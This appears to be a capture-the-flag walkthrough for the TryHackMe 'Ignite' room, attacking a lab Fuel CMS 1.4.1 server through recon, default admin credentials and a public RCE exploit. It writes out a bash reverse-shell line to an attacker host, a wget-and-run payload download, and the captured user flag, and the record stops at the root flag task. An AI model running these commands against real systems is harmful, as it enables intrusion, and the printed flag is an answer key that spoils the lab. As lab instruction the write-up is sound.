🔗 Ignite
Task 1 - Deploy the machine
🎯 Target IP: 10.10.166.221
Create a directory for machine on the Desktop and a directory containing the scans with nmap.
Task 2 - Reconnaissance
Copy su
echo "10.10.166.221 ignite.thm" >> /etc/hosts
mkdir thm/ignite.thm
cd thm/ignite.thm
# At the end of the room
# To clean up the last line from the /etc/hosts file
sed -i '$ d' /etc/hosts I prefer to start recon by pinging the target, this allows us to check connectivity and get OS info.
Copy ping -c 3 ignite.thm
PING ignite.thm (10.10.166.221) 56( 84 ) bytes of data.
64 bytes from ignite.thm (10.10.166.221): icmp_seq = 1 ttl = 63 time = 61.5 ms
64 bytes from ignite.thm (10.10.166.221): icmp_seq = 2 ttl = 63 time = 62.8 ms
64 bytes from ignite.thm (10.10.166.221): icmp_seq = 3 ttl = 63 time = 63.7 ms Sending these three ICMP packets, we see that the Time To Live (TTL) is ~64 secs. this indicates that the target is a *nix system (probably Linux), while Windows systems usually have a TTL of 128 secs.
2.1 - Find open ports on the machine
Copy nmap --open -n -Pn -vvv -T4 ignite.thm

Task 3 - What is the user flag?
We can search exploit with searchsploit:
Copy searchsploit fuel cms 1.4
------------------------------------------------------------------------------------------------ ---------------------------------
Exploit Title | Path
------------------------------------------------------------------------------------------------ ---------------------------------
fuel CMS 1.4.1 - Remote Code Execution (1) | linux/webapps/47138.py
Fuel CMS 1.4.1 - Remote Code Execution (2) | php/webapps/49487.rb
Fuel CMS 1.4.1 - Remote Code Execution (3) | php/webapps/50477.py
Fuel CMS 1.4.13 - 'col' Blind SQL Injection (Authenticated) | php/webapps/50523.txt
Fuel CMS 1.4.7 - 'col' SQL Injection (Authenticated) | php/webapps/48741.txt
Fuel CMS 1.4.8 - 'fuel_replace_id' SQL Injection (Authenticated) | php/webapps/48778.txt
------------------------------------------------------------------------------------------------ --------------------------------- Very good, there're many exploits for this CMS.
Exploring page we found a good info:
To access the FUEL admin, go to:
http://ignite.thm/fuel
User name: admin
Password: admin (you can and should change this password and admin user information after logging in).
Now, we can try to exploit using a RCE exploit, first we download script from searchsploit db:
Copy searchsploit -m 50477.py
Exploit: Fuel CMS 1.4.1 - Remote Code Execution (3)
URL: https://www.exploit-db.com/exploits/50477
Path: /usr/share/exploitdb/exploits/php/webapps/50477.py
Codes: CVE-2018-16763
Verified: False
File Type: Python script, ASCII text executable
cp: overwrite '/home/kali/50477.py' ?
Copied to: /home/kali/50477.py After this, we can launch exploit:
Copy python 50477.py -u http://ignite.thm We need to do a reverse shell, we start to:
Retrieve our ip address:
and create a shell file with nano:
Insert this line for a bash reverse shell:
Copy /bin/bash -i >& /dev/tcp/10.0.2.15/3333 0>&1 Setup a Python web server and a nc listener on 2 different tabs:
1st tab:
Copy python -m http.server 2nd tab:
Now, we can return in the exploited Fuel CMS tab, and do this commands:
Copy wget http://10.0.2.15:8000/shell.sh -O shell.sh
bash shell.sh Reverse shell received in the nc terminal:
Copy /usr/bin/script -qc /bin/bash /dev/null
cd /home/www-data
ls
cat flag.txt 6470e394cbf6dab6a91682cc8585059b
Task 4 - What is the root flag?
